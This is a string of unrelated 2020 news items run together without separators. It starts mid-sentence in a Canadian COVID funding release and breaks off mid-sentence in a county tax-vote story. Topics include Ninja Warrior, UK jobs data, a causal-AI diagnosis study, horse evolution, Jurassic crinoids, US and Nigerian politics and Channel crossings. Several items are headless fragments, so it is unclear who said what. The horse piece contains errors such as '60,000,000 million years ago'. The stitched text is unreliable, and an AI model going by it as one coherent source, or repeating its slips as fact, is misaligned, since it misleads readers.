unique needs of First Nations living off reserve and Indigenous Peoples in urban areas are supported during this crisis." The Honourable Marc Miller Minister of Indigenous Services Quick facts This support is part of $1.7 billion that has been committed in specific support to Indigenous and northern communities and organizations in response to the COVID-19 pandemic. that has been committed in specific support to Indigenous and northern communities and organizations in response to the COVID-19 pandemic. Project funding for the Indigenous Community Support Fund urban and off-reserve stream were selected through a national Call for Proposals process. First Nations, Inuit and Metis also have access to other support measures available to Canadian individuals, businesses and industries, through the Government of Canada's COVID-19 Economic Response Plan. Associated links Indigenous Community Support Fund: Allocations to communities and organizations Indigenous Community Support Fund: Urban and off-reserve Indigenous organizations and communities Indigenous Community Support Fund Canada's COVID-19 Economic Response Plan Stay connected Join the conversation about Indigenous peoples in Canada: Twitter: @GCIndigenous Facebook: @GCIndigenous Instagram: @gcindigenous Facebook: @GCIndigenousHealth Twitter: @Min_IndServ You can subscribe to receive our news releases and speeches via RSS feeds. For more information or to subscribe, visit www.isc.gc.ca/RSS. SOURCE Indigenous Services Canada For further information: media may contact: Adrienne Vaupshas, Office of the Honourable Marc Miller, Minister of Indigenous Services, [email protected]; Media Relations: Indigenous Services Canada, 819-953-1160, [email protected] He made history by being crowned Australia's first-ever Ninja Warrior after four years, more than 636 Ninja runs and 106 grand final attempts. And Ben Polson has revealed the incredibly odd way the COVID-19 pandemic played in his favour as he went on to win against runner-up Charlie Robbins by just one second. Noting that many contestants thrive off the energy of the roaring studio audience, the 27-year-old told TV Tonight that the lack of people helped him 'focus' because he no longer had to 'cater for the cameras and the crowd'. 'I didn't have to cater for the audience!' Ben Polson has revealed the odd way the COVID-19 pandemic played in his favour as he went on to become Australia's first-ever Ninja Warrior Ben admitted: 'Personally, I actually quite enjoyed the fact that there wasn't a huge amount of people there. 'It felt more relaxed, almost like a training session where I could just really focus and not have to worry about everyone else and feel like I needed to cater for the cameras and the crowd.' 'I could just completely focus on what I needed to do,' he concluded. The Perth videographer managed to scale Mount Midoriyama in just 25.56 seconds and take home a whopping $400,000 during Monday's grand finale. Quiet time: Noting that many contestants thrive off the energy of the roaring studio audience, the 27-year-old told TV Tonight that the lack of people helped him 'focus' because he no longer had to 'cater for the cameras and the crowd' Ben was up against season three winner Charlie and Zak Stolz, who each needed to climb a 20-metre rope in under 30 seconds. The three contestants were the first to attempt to climb Mount Midoriyama in all four seasons of the Channel Nine show. Ben said he wanted to take his girlfriend, Olivia Vivian, on holiday to Japan, and plans to invest the rest of his prize money. 'Four hundred thousand dollars is a lot of money! Especially during such a rollercoaster year,' he said in a statement. Watch him go: The Perth videographer managed to scale Mount Midoriyama in less than 30 seconds, taking home a whopping $400,000 during Monday grand finale Reflecting on his win, Ben explained: 'I wasn't your average kid at school.' 'I felt like an outcast and got bullied a lot. It wasn't until I discovered Ninja training that I once again felt I had a purpose,' he continued. 'It helped me build myself back up physically and mentally. He then added: 'Conquering Mount Midoriyama is not about what I have received, it's about who I have become.' Winner! Ben said he wanted to take his girlfriend, Olivia Vivian, on holiday to Japan, and plans to invest the rest of his prize money. Pictured together Ben, Charlie and Zak have all cemented their names in the history books, joining an elite group of only 14 people in the world who have scaled Mt Midoriyama. The show will conclude with a two-part special finale on August 16, which will see the four best Ninjas from each state return for a chance at winning $100,000. Australia Ninja Warrior: State of Origin airs Sunday at 7pm on Channel Nine The board of directors of Texas property insurer last resort for wind and hail in the states coastal counties has voted to file a 0% rate change with the Texas Department of Insurance. The Texas Windstorm Insurance Association is required by law to submit a rate filing with TDI every August. TWIA actuarial and underwriting committee in July recommended the 0% rate change. TWIAs board voted in its Aug. 4 quarterly meeting to revisit the issue of rates at an interim meeting to be scheduled before its December quarterly meeting. TWIAs annual rate filing, due by August 15 each year, is subject, in certain circumstances, to review and approval by the insurance commissioner. The statute allows TWIA to make a rate filing with TDI at any time. TWIAs 2020 Rate Adequacy Analysis, prepared by the associations actuarial staff, indicates that TWIAs current rates are inadequate by 44 percent for residential coverage and 49 percent for commercial coverage. The actuarial and underwriting committee was directed to make a recommendation regarding a subsequent rate filing upon the completion of an independent study currently underway of TWIAs rate adequacy and use of hurricane modeling in estimating potential losses in its rate-setting process. The independent study is being performed by the actuarial consulting firm Willis Towers Watson, which provided a status update regarding their work at the board meeting. Willis Towers Watson advised the board that their report will be completed by the end of August. Other actions taken by the board include: Directing TWIA staff to make a filing seeking no change to the maximum limits of liability on TWIA policies in its required annual filing regarding that topic with the Texas Department of Insurance. Approving with modifications the legislative recommendations and a draft of TWIAs Biennial Report to the Legislature presented by the Legislative and External Affairs Committee. The TWIA board recommends that the Legislature consider fortified home construction effectiveness in other states, whether TWIA should pursue such a program, and whether the State of Texas could provide funding support. Approving selection of auditors/accountants for 2020 and authorizing non-audit services as presented by TWIA staff and voting to conduct a request for proposals for these services in 2021. Source: TWIA Related: Topics Carriers Catastrophe Natural Disasters Texas Windstorm The number of people in work in Britain fell by 220,000 in the three months to June, the most since 2009, as the coronavirus crisis hammered the number of self-employed, Office for National Statistics said. The number of self-employed people fell by a record amount, led by older workers, while the number of employees rose. Job losses are expected to rise as Britain winds down its huge job retention scheme which protects employees. It is due to close at the end of October. British finance minister Rishi Sunak said the figures showed the government's support programmes were working but job losses were inevitable. "I've always been clear that we can't protect every job, but through our Plan for Jobs we have a clear plan to protect, support and create jobs to ensure that nobody is left without hope," he said in a statement. The unemployment rate unexpectedly held at 3.9% but that reflected an increase in people who had given up looking for work and who were therefore not considered to be unemployed, the Office for National Statistics said. Furthermore, around 300,000 people said in June that they were employed although they were away from work and receiving no pay which also helped keep the unemployment rate down, the ONS said. Economists polled by Reuters had expected the unemployment rate to rise to 4.2%. Last week, the Bank of England forecast that the unemployment rate would hit 7.5% at the end of this year. The ONS data also showed pay fell in the April-June period but there was a small increase in job vacancies in the three months to July. Gen. Mohammed Rushdi, commander of the Border Guards 2nd Brigade and Brig. Zubair Hali, commander of the 3rd Regiment, were killed in the attack Ihsan Chelebi, the mayor of Bradost, told The Associated Press. He said they had been establishing new posts in the area. Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Tunis: Tunisia's Prime Minister-designate says he will form a purely technocratic government following wrangling among political parties over the formation of the country's next administration. The decision by Hichem Mechichi will likely put him in confrontation with the moderate Islamist Ennahda Party, the largest political group in parliament, which announced it would oppose the formation of a non-political government. Tunisian President Kais Saied, right, appoints Interior Minister Hichem Mechichi as the new Prime Minister in July. Credit:AP However, the proposal for a government of independent technocrats without political parties will win support from the powerful UGTT trade union and some other parties, including Tahya Tounes and Dustoury el-Hor. Mechichi said the governments focus would mainly be on social hardship and the weak economy, explaining that "while the political dispute continues, some Tunisians have not found drinking water". On top of that, DeJoy conducted a Friday-night massacre last week, firing several top executives from their posts and reshuffling more than two dozen other officials and operational managers. For his part, DeJoy the first Postal Service CEO with no Postal Service experience says the changes are necessary to make the agency more viable. He also denies any political motives or influence behind his decisions. While I certainly have a good relationship with the president of the United States, the notion that I would ever make decisions concerning the Postal Service at the direction of the president or anyone else in the administration is wholly off-base, he said last week. But if DeJoy a significant contributor to Trumps election campaign who was tapped to be postmaster general and CEO by the Postal Service's Board of Governors on May 6 actually intends to bolster the agency he heads, he would be an anomaly. The Common Theory Today there are over 9 million horses in the US, including breeds like the American Quarter Horses, Appaloosas, Missouri Fox Trotters, and some rarer breeds like the Shire, Lippizan, Gotland, Caspian and Colonial Spanish Mustangs. Common knowledge dictates that the first horses were introduced to the Americas by Columbus, who initially brought over smaller breeds followed by larger ones on his four expeditions to the Americas from 1492 to 1504. As the only method for transportation, their purpose was also to help with carrying loads for settlements and to trade with the Indigenous peoples. Looking Back In reality, this land has felt the hoofs of the horse's ancestors, dating back 60 million years, and up until their curious extinction in the Americas, 11,000 years ago. Fossils show that an Eohippus, a predecessor to the modern horse, was native to the American lands. The name Eohippus was given to the earliest species by Thomas Henry Huxley, an English biologist and anthropologist who specialized in comparative anatomy, upon his visit to the United States in 1876. Literally meaning "dawn horse," Eohippus was described as a "timid forest animal" standing at about 13 inches tall, with a hunched back, leopard-like spots, and four toes on each foot. It was pattering these regions over 60,000,000 million years ago. 38 million years ago, Eohippus evolved into the Orohippus, getting rid of its vestigial toes and growing a longer middle toe that would eventually develop into a hoof. Having acquired an additional tooth for grinding to feed on tough plants, it also presented itself with a sturdier body. Then came the Epihippus. An Eohippus fossil at the Natural History Museum in Vienna, Austria. Image credit: frantic00/Shutterstock 17 million years ago, a much taller horse stepped onto the scene: the Merrychipus. It not only looked like today's, with its elongated snout and long legs (albeit still with three toes), but it also demonstrated agility and intelligence through its ability to escape and out-trick other species as well as humans who made attempts a domesticating the Merrychipus. A few million years later, it evolved into the Dinohippus, which, in another 10 million years evolved into an Equus possessing a long neck and a single toe, as the representative of the genus to the modern horses. Equus emerges 1 to 4 million years ago. New Home and Extinction Equus managed to make its way through Alaska into Siberia via the Bering Bridge, about 1,000,000 years ago, spreading by land through Asia and Europe all the way to Africa. Oceania and Antarctica were the only places where the horses never naturally ventured to. Meanwhile, it made a curious disappearance from the Americas 11,000 years ago. Although it remains uncertain why they went extinct on these lands, evidence suggests that humans might have had something to do with it, as they first made their way to the Americas from Siberia by crossing the Bering Strait around that time. The other two theories state that infectious disease and climate change with a consecutive decline in vegetation might have also been the contributing factors. Domestication and Re-introduction The horse evolved further on the Eurasian continent, becoming domesticated and acquiring many characteristics present in today's horses through breeding patterns, making them suitable for labor, horseback riding, and conquering lands, such as during colonization. Therefore, a first trip for the Spaniards to the Americas was a returning trip for the successors of the ancient Eohippus mixed with the European breeds to its native land. These horses were left on the Virgin Islands by Christopher Columbus, but the Spanish explorer Hernan Cortez brought horses on his own expedition from Europe in 1519, reintroducing them to mainland America starting with Mexico. Centuries later, the descendants of the North American predecessor to modern horses returned home. Image credit: Yakov Oskanov/Shutterstock Modern Horses Breeding practices over the years also have helped with generating breeds for all kinds of needs: lean horses that are fast runners, bulky horses that are strong and resilient for carrying loads, decorative breeds, as well as procreating those with favorable eating habits. A little-known fact is that horses, wild horses specifically, can be regarded as pests, as they are capable of consuming large amounts of land resources at a time, including feed for farmers' cattle and the products that farmers grow themselves, such as cabbage, carrots and leafy greens. In the US, this problem has been controversially managed by the Bureau of Land Management, which has proposed to find the solution in sterilization, to help preserve the needed resources for farming. This plan is largely contested, and it is not clear what the US will do to address the issue of wild horses populations. Doctors are overworked and in short supply across the globe, but they could soon be assisted by machine learning to help reduce errors in primary care. AI symptom checkers are tremendously valuable in providing medical information and safe triaging advice to users, however, none of them performs diagnosis like a doctor. Unlike doctors, existing symptom checkers provide advice based on correlations alone - and correlation is not causation. Researchers at Babylon have, for the first time that we know of, used the principles of causal reasoning to enable AI to diagnose written test cases. The researchers used a new approach, known as causal machine learning - which is gaining increased traction in the AI community - to act as an 'imagination' so the AI could consider what symptoms it might see if the patient had an illness different to the one it was considering. The peer-reviewed research, published in Nature Communications, shows that disentangling correlation from causation makes the AI significantly more accurate. Dr Jonathan Richens, Babylon scientist and lead author, said: "We took an AI with a powerful algorithm, and gave it the ability to imagine alternate realities and consider 'would this symptom be present if it was a different disease'? This allows the AI to tease apart the potential causes of a patient's illness and score more highly than over 70% of the doctors on these written test cases." Dr Ali Parsa, CEO and Founder, Babylon, said: "Half the world has almost no access to healthcare. We need to do better. So it's exciting to see these promising results in test cases. This should not be sensationalised as machines replacing doctors, because what is truly encouraging here is for us to finally get tools that allow us to increase the reach and productivity of our existing healthcare systems. AI will be an important tool to help us all end the injustice in the uneven distribution of healthcare, and to make it more accessible and affordable for every person on Earth." A pool of over 20 Babylon GPs created 1,671 realistic written medical cases - these included typical and atypical examples of symptoms for more than 350 illnesses. Each case was authored by a single doctor and then verified by multiple other doctors to ensure it represented a realistic diagnostic case. A separate group of 44 Babylon GPs were then each given at least 50 written cases (the mean was 159) to assess. The doctors listed the illnesses they considered most likely (on average returning 2.58 potential diseases for each diagnosis). They were measured for accuracy by the proportion of cases where they included the true disease in their diagnosis. Babylon's AI took the same tests and used both an older algorithm based on correlations (created specifically for this research, not taken from our product) and the newer, causal one. For each test, the AI could only report as many answers as the doctor had. The doctors had a mean score of 71.40% ( 3.01%) and ranged from 50-90%. The older correlative algorithm performed on par with the average doctor, achieving 72.52% ( 2.97%). The new causal algorithm scored 77.26% ( 2.79%) which was higher than 32 of the doctors, equal to 1, and lower than 11. Dr Tejal Patel, Associate Medical Director and GP, Babylon, said: "I'm excited that one day soon this AI could help support me and other doctors reduce misdiagnosis, free up our time and help us focus on the patients who need care the most. I look forward to when this type of tool is standard, helping us enhance what we do." Dr Saurabh Johri, Chief Scientist and author, Babylon, added: "Interestingly, we found that the AI and doctors complemented each other - the AI scored more highly than the doctors on the harder cases, and vice versa. Also, the algorithm performed particularly well for rare diseases which are more commonly misdiagnosed, and more often serious. Switching from using correlations improved accuracy for around 30% of both rare and very-rare conditions." It is not necessary to alter the underlying models of disease that an AI uses in order to get an improvement in accuracy. It is a benefit that would apply to existing correlative algorithms, including those outside of the medical setting. Dr Ciaran Lee, study author, formerly of Babylon and honorary lecturer at UCL, said: "Causal machine learning allows us to ask richer, more natural questions about medicine. This method has huge potential to improve every other current symptom checker, but it can also be applied to many other problems in healthcare and beyond - that's why causal AI is so impressive, it's universal." This technology paves the way for a future partnership between clinicians and AI that will speed up a doctor's diagnosis, improve accuracy, free up time for clinicians and improve patient outcomes and patient experiences. It has the potential to augment the work of clinicians and continue to drive a better healthcare system for patients. This new causal algorithm is not yet present in Babylon's publicly available app. It will only be released after further development and testing, and once it has met all necessary regulatory approvals in the UK and other markets where it will be released. ### Peer-reviewed |Lab-based Study |Artificial Intelligence Notes to Editor The paper, titled 'Improving the accuracy of medical diagnosis with causal machine learning', and authored by Dr Jonathan Richens et al. will be published in Nature Communications and available at http://dx.doi.org/10.1038/s41467-020-17419-7 from 4 pm BST on Tuesday 11th August 2020. For the full paper, please contact press@babylonhealth.com About Babylon Babylon is a globally-leading technology company with the ambitious mission to put an accessible and affordable health service in the hands of every person on Earth. We combine technology and medical expertise to bring doctors and people closer together, with digital health tools designed to empower people with knowledge about their health. Through a range of digital health services - such as an AI-backed app and video doctor appointments - we provide around-the-clock access to affordable, holistic healthcare services and information. We work with governments, health providers and insurers across the globe, and healthcare facilities from small local practices to large hospitals. With a $2Bn valuation, Babylon has over 4 million registered patients and has completed nearly 2 million consultations globally. We have teamed up with 170 impactful worldwide partners -- including Mount Sinai Health Partners, the NHS, Telus Health, the Bill & Melinda Gates Foundation and the Government of Rwanda -- to fulfil our vision of accessible and affordable healthcare, for all. For more information, visit https://www.babylonhealth.com Contact For more information, a copy of the paper, or to organise an interview with one of the authors please contact us at press@babylonhealth.com or call Ed Sykes on +44 (0)7966 081 090 Jurassic sea creatures spent decades as 'full-time ocean sailors', crossing the sea on driftwood 'rafts', a study claims. Analysis of these rafts show they could last for as long as 20 years - enough time for the creatures, called crinoids, to grow to maturity, scientists reveal. The attractive marine animals, which resemble colourful sea lilies, consist of a series of plates connected together in branches with a stem. For crinoids, rafts became popular locations for colonies, as the structures were high in the water and provided a safe haven to escape predators. There have been around 6,000 species of crinoids, about 10 per cent of which are alive today, although they dont tend to float on rafts. Crinoids fossils dating back to the Jurassic period are common in Yorkshire and around the Dorset coast, including Lyme Regis, part of the Jurassic Coast World Heritage Site. Scroll down for video Using a giant fossil specimen (bottom left) from Germany, researchers mapped the spatial position of crinoids (bottom right) in one of the largest and best-preserved Early Jurassic floating wood fossils (top) 'Modern crinoids don't typically take such journeys, but we've since discovered fossilised examples of groups of floating crinoids,' wrote study author Dr Aaron W. Hunter from the University of Cambridge for The Conversation. 'However it wasn't clear whether these were really thriving colonies living on the driftwood or just short-term passengers. WHAT ARE CRINOIDS? Crinoids, a distant ancestor of today's sea lilies. Crinoids were abundant long ago, when they carpeted the sea floor. These echinoderms were at their height during the Paleozoic era. They could be found all over the world, creating forests on the floor of the shallow seas of this time period. There were so many in places, that thick limestone beds were formed almost entirely from their body parts piled on top of each other. Advertisement 'Now my colleagues and I have shown that such rafts could last for as long as 20 years, plenty of time for crinoids to grow to maturity and become full-time ocean sailors.' Human understanding of crinoids dates back to the 1830s, when English palaeontologist William Buckland known for the discovery of the Megalosaurus collected fossils with another pioneering palaeontologist, Mary Anning. One of their discoveries was the remains of fossilised crinoids, which are close relatives of sea urchins and starfish. The specimens from Lyme Regis in Dorset, dating back to the Jurassic period more than 180 million years ago, looked like polished brass because they had been fossilised with pyrite, better known as fools gold. Buckland noticed that these crinoid fossils were attached to small pieces of driftwood, which had turned into coal. 'He hypothesised that the crinoids had been attached to the driftwood while alive, and perhaps for their entire lives, possibly living suspended underneath it,' Dr Hunter said. 'Bucklands idea was initially seen as fantastical and the scientific world remained sceptical, until, that is, the discovery in the 1960s of a truly spectacular group of fossils from Holzmaden, a village not far from Stuttgart, Germany. 'In among marine reptiles, crocodiles and ammonites, were giant colonies consisting of complete logs covered with hundreds of perfectly preserved crinoids.' Floating logs that ferried rich communities of sea creatures around the oceans were able to float for decades. The picture shows a reconstruction of marine life from the Jurassic period In Jurassic times, Holzmaden had been a seabed that was uninhabitable due to low oxygen levels and the crinoids would 'have clung for life' to logs as there was no seabed for them to live on. Scientists have been undecided as to whether the rafts, which feature preserved crinoid colonies, survived long enough for crinoids to grow to maturity, which can take up to 10 years. Dr Hunter and his team studied the ancient wood rafts, taken from multiple German museums and collections, including Geoscience Centre of the University of Gottingen and the Geological Institute, University of Tubingen. 'We established that the way to understand how long the colony could have lasted was to develop a diffusion model,' Dr Hunter said. 'This estimated how long it would take before the log would become saturated with water and fail.' As the wood in crinoid raft fossils hasnt been preserved well enough to reveal what species it is from, the raft in the model was represented with a composite of trees known to exist in the Jurassic period, such as conifers, cycads and ginkgo trees. The analyses revealed that crinoid colonies could have existed for more than 10 years, even up to 20 years, before it started to break, exceeding the life expectancy of modern documented raft systems. 'There is evidence from museum collections of fragments of wood with entire, fully grown crinoids attached to them that could only have resulted from this kind of collapse,' Hunter said. Reconstruction of the crinoid colony based on the a giant fossil specimen from Germany. It shows the crinoids on the right hand side of the long log that makes up the raft community The crinoids preferred to attach themselves to one end of the log structure, just like a sea captain at the helm. This pattern resembles that of other modern rafting species such as goose barnacles, which tend to inhabit the area at the back of a raft where there is least resistance. Amazingly, this could help reveal to researchers the direction of travel of the colony across the ocean. Other researchers had also proposed that any floating crinoid colony would have grown until the population became too heavy for the wood raft to support it, at which point the log would have sunk to the oxygen-free seafloor where the crinoids would then have become fossilised. 'However, research on living crinoid populations off the coast of Japan revealed that the animals would be too lightweight, even in large mature colonies, to cause a log to become overburdened and sink,' Dr Hunter said. The study has been published in Royal Society Open Science. HOLYOKE The campaign for U.S. Rep. Richard E. Neal said Monday it played no role in the publication of allegations regarding Mayor Alex B. Morses relationships with college students. No. The College Democrats independently came forward, and our campaign commends these courageous students, said Kate Norton, a spokesman for Neals campaign, when asked by The Republican / MassLive to respond to a statement Morse made in an interview with public radio station WAMC. Morse is Neals opponent in the Sept. 1 Democratic primary. Last week, the College Democrats of Massachusetts and its chapters at the University of Massachusetts and Amherst College disinvited the mayor from future events, claiming Morse used his position of power for romantic or sexual gain, including sexual relationships with students at UMass and other schools in the Five College Consortium. Morse, 31, has taught as an adjunct lecturer at UMass Amherst. While he acknowledges having relationships with college students, he says they were consensual and that he did not violate university policy. It is not clear whether any of the students in question were enrolled in the classes Morse taught over several semesters. UMass has launched an investigation into whether any of Morses actions violated federal Title IX laws on sexual harassment and discrimination. The allegations first appeared in the UMass student newspaper, The Massachusetts Daily Collegian. In the radio interview Monday, Morse was asked whether he felt Neals campaign had involvement in the publication of these allegations. Morse responded: I do. I think this is what happens when you go against power. And I think I would not be surprised if in the coming days more information comes to light that sheds light on this this process and what happens behind the scenes of a campaign like this, that allows for unsubstantiated allegations to become a media narrative that is basically a political smear and attack three weeks before a primary election. Morse and Neal are set to debate Aug. 17. Related Content: President Muhammadu Buhari, Monday, gave strong assurances that security will be restored to Borno State, the Northeast and the nation at ... President Muhammadu Buhari, Monday, gave strong assurances that security will be restored to Borno State, the Northeast and the nation at large, following the recent adoption of new strategies, and the acquisition of modern military equipment. Buhari gave the assurance while speaking at the State House in Abuja during a meeting with the five governors from northeast, attended by Vice President Yemi Osinbajo, the Chief of Defence Staff, Service Chiefs, the Inspector-General of Police and the heads of intelligence agencies. Things will improve very soon. We are acquiring modern equipment; some are here, some are being cleared, and others still coming. We need patience with acquisition of equipment. You need to train the trainers for their usage ahead of their deployment to the field. I have listened to your presentation, he told the Governors, who spoke through their Chairman and Governor of Borno State, Prof. Babagana Zulum, adding, I assure you, the Northeast Governors, especially that of Borno, that we go to bed and wake up thinking about you, how to secure our country, that is the responsibility of every government. Our party campaigned in 2015 on three major objectives, among which is Security. We said the same thing in 2019 and Nigerians believed us. We are doing our best and we will continue to do even better. The President lamented the impact on the COVID-19 pandemic on the economy, making scarce resources even scarcer, coupled with its severe impact on the supply chain of military equipment and spare parts. Our government is doing its best on the question of equipment and the military know. We have equipment coming from some countries. The acquisition of military wares and spares is not easy, especially if you are not the manufacturer, he emphasized. The Secretary to the Government of the Federation, SGF, the Chief of Staff, the National Security Adviser and all the Service Chiefs who spoke in support of the President, assured that things will get better soon. They made a strong case for strengthening ties among the military, state governments, traditional institutions and all communities and the residents of the region. NEWS: Akintola's family writes Buhari over naming of Ibadan Railway station after their late father The Chief of Army Staff, Lt. General Tukur Buratai gave an assessment of the current efforts, stressing that Boko Haram terrorists have been flushed out of all the States in the region, leaving Borno State as the last stop. According to him, There are no Boko Haram terrorists in neighbouring states. They have been pushed out, and now cornered in Borno State. We are coordinating with civil and traditional authorities, mobilising and reinforcing and all we need is patience. We will not relent. On his part, the Chief of Air Staff, Air Marshal Sadique Abubakar, briefed the meeting on the acquisition of military aircraft, stressing that the imminent arrival of Unmanned Aerial Vehicles, UAVs, known as drones with more than 10 hours of flying time, would strongly reinforce the battlefront. Briefs were also received on equipment needs of the Police as well as the changing alliances between criminal gangs and terrorist groups in the region from the Intelligence Community. In their address at the beginning of the meeting, the Northeast Governors noted that the security situation in the region has now greatly improved, compared to the time the President assumed office. While commending President Buhari for the establishment of the Northeast Development Commission and the take-off of Mambila Dam Power Project, they however, called for attention to the condition of most of their roads. They also warned of the consequences of a War Economy and the need to address the root causes of the insurgency. According to the Governors, A large population in the region, especially in Borno State, have no access to their homes and farmlands, while calling for efforts to curtail the increasing trust deficit between the population and the armed forces. Source: Xinhua| 2020-08-10 23:12:40|Editor: huaxia Video Player Close Dr. Michael Ryan(L), executive director of the World Health Organization (WHO) Health Emergencies Program, addresses a press conference, in Geneva, Switzerland, Feb. 18, 2020. (Photo by Chen Junxia/Xinhua) Michael Ryan, executive director of the WHO Health Emergencies Program, has earlier said that although the first clusters of COVID-19 cases were reported in Wuhan of China, it doesn't necessarily mean that Wuhan is where the COVID-19 disease crossed from animals into humans. GENEVA, Aug. 10 (Xinhua) -- A senior World Health Organization (WHO) official on Monday highlighted that while the first clusters of cases were picked up for epidemiologic research, case zero is not always where the first cluster is. Michael Ryan, executive director of the WHO Health Emergencies Program, said at a virtual press conference that case zero can be in another place, and "that's why we have to keep an open mind." "All hypotheses are on the table, if you follow the data in the science, you will find, hopefully, the point at which the disease crossed the species barrier," he said. A funeral home worker wheels the body of a deceased person into a van outside Brooklyn Hospital Center in the Brooklyn borough of New York, the United States, on April 24, 2020. (Photo by Michael Nagle/Xinhua) According to the WHO official, this novel coronavirus is proving exceptionally difficult to stop -- "it's difficult to recognize, it's difficult to distinguish between it and other syndromes unless we have adequate and immediate testing." Noting that it took decades in other diseases to find the case zero, Ryan explained to reporters that it took years to do it in the case of MERS, and it has never been fully established in the case of SARS in terms of the actual events that cross the animal-human barrier. "It does prove very difficult to find that initiation point where the disease crossed the animal-human species barrier, but it is important that we find that, because as long as the animal-human breach has not been discovered, there's always a chance that barrier can be breached again," he said. Earlier this month at another press conference, Ryan also said that although the first clusters of COVID-19 cases were reported in Wuhan of China, it doesn't necessarily mean that Wuhan is where the COVID-19 disease crossed from animals into humans. Democratic presidential candidate Joe Biden will announce his choice of running mate imminently. A person familiar with the process has told Reuters it will be this week, and The New York Times reported that the campaign will make the announcement as soon as Tuesday, but more likely on Wednesday. The outlet cited people briefed on the selection process and said that the candidate screening committee has effectively disbanded having completed its work. Mr Biden and his potential vice president will formally accept the partys nomination at the Democratic National Convention, scheduled for 17-20 August. Previously reported deadlines to announce the running mate were missed and it is possible that the timeline could slip again. Reuters says that a campaign spokesperson declined to comment. Former vice president Biden has committed to picking a woman as his running mate and has come under increasing pressure from some Democratic leaders and activists for her to be Black. They argue that Mr Biden otherwise risks dampening enthusiasm among Black voters who are so crucial to the Democratic base, particularly at a time when the country is gripped with protests against racial injustice. Aimee Allison, founder of She the People, a group that promotes women of colour in politics, thinks it would be politically reckless if Mr Biden did not choose a woman of colour. Its the most important decision the Biden camp can make to set the tone for the last 80 or so days, she told Reuters. Picking a Black woman for the ticket is affirmation that we are included in the vision of governance. Among the top contenders are US Senator Kamala Harris of California and former Obama administration national security adviser Susan Rice, both of whom are Black. US Representative Karen Bass, a Black lawmaker from California, and a half dozen other women were under serious consideration. They include senators Elizabeth Warren and Tammy Duckworth, US Representative Val Demings, New Mexico Governor Michelle Lujan Grisham and Michigan Governor Gretchen Whitmer. Most of the list of possible candidates are already scheduled to speak at the DNCs virtual convention set to play out over four nights next week ,according to a list released on Tuesday. Particularly close attention has been paid to Mr Bidens choice, as if he wins the election he will be the oldest person in history to take office as US president. There is already speculation that he may only serve one term and his vice president would then be in pole position to be the nominee in the 2024 election. With reporting from Reuters British Prime Minister Boris Johnson has said he wants to stop the illegal crossings and has dispatched Immigration Minister Chris Philp to Paris for talks with the French government Britain said on Tuesday it wanted greater flexibility to return illegal immigrants back to France after a surge in the number of people embarking on the perilous journey across the English Channel in the hope of a better life. Hundreds of people, including some children, have been caught crossing to southern England from makeshift camps in northern France since Thursday - many navigating one of the world's busiest shipping routes in overloaded rubber dinghies. British Prime Minister Boris Johnson has said he wants to stop the illegal crossings and has dispatched Immigration Minister Chris Philp to Paris for talks with the French government. Britain says the EU's so-called Dublin Regulation which currently governs the return of illegal immigrants is too inflexible and has very tight timeframes. Junior health minister Edward Argar said Johnson wanted more flexibility. "What he's looking at, quite rightly, is greater flexibility... in returning people who have come here illegally... and need to be returned back to France," Argar told Sky News. Many of the migrants seeking to reach Britain come from Afghanistan, Iraq, Syria and countries in Africa, fleeing poverty, persecution or war. Some stand a chance of being granted asylum, while others, considered illegal economic migrants, are unlikely to be allowed to remain in Britain. Search Keywords: Short link: EDWARDSVILLE Sometimes intense debate, primarily among Republican County Board members known for being fiscally conservative, preceded a vote that effectively removed a Property Tax Extension Limitation Law referendum from the November ballot. At a special meeting Monday, the board voted 18-6 in favor of postponing a decision on a PTELL referendum for at least 60 days. Because of ballot deadlines, it effectively moves any consideration to the spring elections. Im disappointed, Madison County Board Chairman Kurt Prenzler, who had pushed for the referendum, said in a press release. Yes, PTELL is complicated, but I believe the people who pay the taxes, not the politicians, should be the ones voting on it. If re-elected, I will continue to pursue property tax relief for taxpayers. Prenzler had brought it up less than two weeks ago. Unable to get a quorum for the Executive Committee last week, he had called special committee and full board meetings for every day this week. They were all cancelled after Mondays vote. The main arguments against PTELL were that it had been brought up too quickly for board members to fully understand all the issues and that it might cause dramatic increases in some property taxes. Arguments in favor of the referendum were that it should be up to the voters, and that although it might cause an immediate increase in some tax rates it would ultimately keep property taxes from rising too quickly. PTELL limits property tax increases by capping the total dollar amount certain property taxes may increase from year to year based on the Consumer Price Index or 5 percent, whichever is lower. However, larger increases can be made with voter approval. PTELL has been in place in Illinois since 1991 and has been approved by 39 counties covering about 80 percent of the population, with much of that in Chicago and the Collar Counties. In April 1999, Madison County voters rejected a referendum to enact PTELL. Prenzler had also called for a similar PTELL resolution in 2018, but it was shot down by the County Boards Governmental Relations Committee. At the time, the biggest concern among County Board members was that although PTELL is designed to limit tax increases, an unintended consequence could be dramatic increases by local governments afraid that the limits could impact budgets. Another issue is that the countys four home rule cities Alton, Granite City, Edwardsville and Collinsville, would not be affected by PTELL, but residents would still be voting on the issue. A number of other taxing districts that include both Madison County and adjoining counties not covered by PTELL, primarily St. Clair and Calhoun, would not be affected. That would include all of the community college districts, Metro East Sanitary District, the Collinsville School District, and City of Madison. The Alton School District would be impacted because although it does serve some areas of Jersey County, that county had previously approved PTELL. The primary supporters making arguments for PTELL were Don Moore, R-Troy; Mick Madison, R-Bethalto; and Tom McRae, R-Bethalto. The common theme was that it should be put to the voters. Madison acknowledged that it would almost certainly lead to an immediate rise in taxes, but after a few years it would settle out. Primary opponents included Ray Wesley, R-Godfrey, David Michael, R-Highland, and Phil Chapman, R-Highland. Both Wesley and Michael argued that they simply didnt know enough about either the mechanics or impact of PTELL, while much of Chapmans arguments centered on a study made in 2018 when the issue was brought up, that showed many taxing districts would have major increases, with many property owners seeing their taxes double or triple. There are some of my constituents that cant afford to stay in the home theyre in if taxes go up, Wesley said. The primary reason is that because there would be a lag between a vote for PTELL and putting it into place, those districts would max their tax rates out of caution. I dont feel comfortable, based on the current information weve received, placing it on the ballot and risking additional taxes for people who are suffering, Chapman said. Moores argument was that it should be decided by the voters. While he said they didnt need to know everything about it to vote to place the referendum on the ballot, several other board members disagreed. Were basically saying vote on it and well understand it later, Michael said during the full board meeting. The last person I heard say that was (U.S. House Speaker) Nancy Pelosi talking about Obamacare. Wesley made a motion to table the issue for 60 days to discuss it, which was seconded by Mike Parkinson, D-Granite City. Prenzler said the motion was out of order, something he had done during the Executive Committee when Wesley had made a similar motion. A very heated debate ensued, with Madison County States Attorney Tom Gibbons telling the board that the motion was proper. Eventually Prenzler relented, and 